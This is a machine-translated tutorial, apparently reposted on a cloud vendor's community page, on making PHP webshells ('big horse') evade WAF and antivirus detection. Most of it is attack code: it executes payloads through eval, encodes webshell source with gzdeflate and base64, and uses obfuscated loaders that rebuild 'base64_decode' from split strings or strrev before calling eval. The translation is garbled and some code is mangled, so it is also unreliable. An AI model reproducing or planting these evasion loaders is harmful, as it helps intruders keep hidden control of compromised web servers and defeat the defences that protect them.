PHP Big horse Kill-free Tips | Bypass WAF

Source: Internet
Author: User

Part 1 Preface

  

Part 2 kill code execution

Eval or preg_replace the/E modifier to execute the DA ma code.

   

$a = ' phpinfo (); ' ; Eval ($a); // eval execute PHP code

Coding

If you go directly to execute the code, is not able to get over the WAF, we generally need to code the DA Ma source code.

EVAL_GZINFLATE_BASE64 type encryption and decryption:

http://www.zhuisu.net/tool/phpencode.php

https://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php

Write your own script encryption:

$code file_get_contents // da ma source code path $encode Base64_encode (gzdeflate($code));  // The encryption function modifies itself. Echo $encode // output encrypted post code

Decoding

Execute our code by decoding.

  

  

<?php                         // encrypted code eval(gzinflate(base64_decode(' S03oyfdq8shuklbmtvoybga= '));? >

Keyword to avoid killing
// types such as keywords if there is no confusion, splitting is not going to be a WAF. Eval (gzinflate(base64_decode//  We need to do is to kill the keyword
No killing payload.
<?PHP$l= ' BaSe6 ';$o= ' 4_de ';$v= ' CO ';$e= ' DE ';$love=$l.$o.$v.$e;$c= "Love";$a=$$c(' Source Base64 encryption ');Eval($a);? ><?PHP$a=Strrev(' Edoced_46esab '); $b=$a(' Source Base64 encryption ');Eval($b);?>

  

  

PHP Big horse Kill-free Tips | Bypass WAF

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.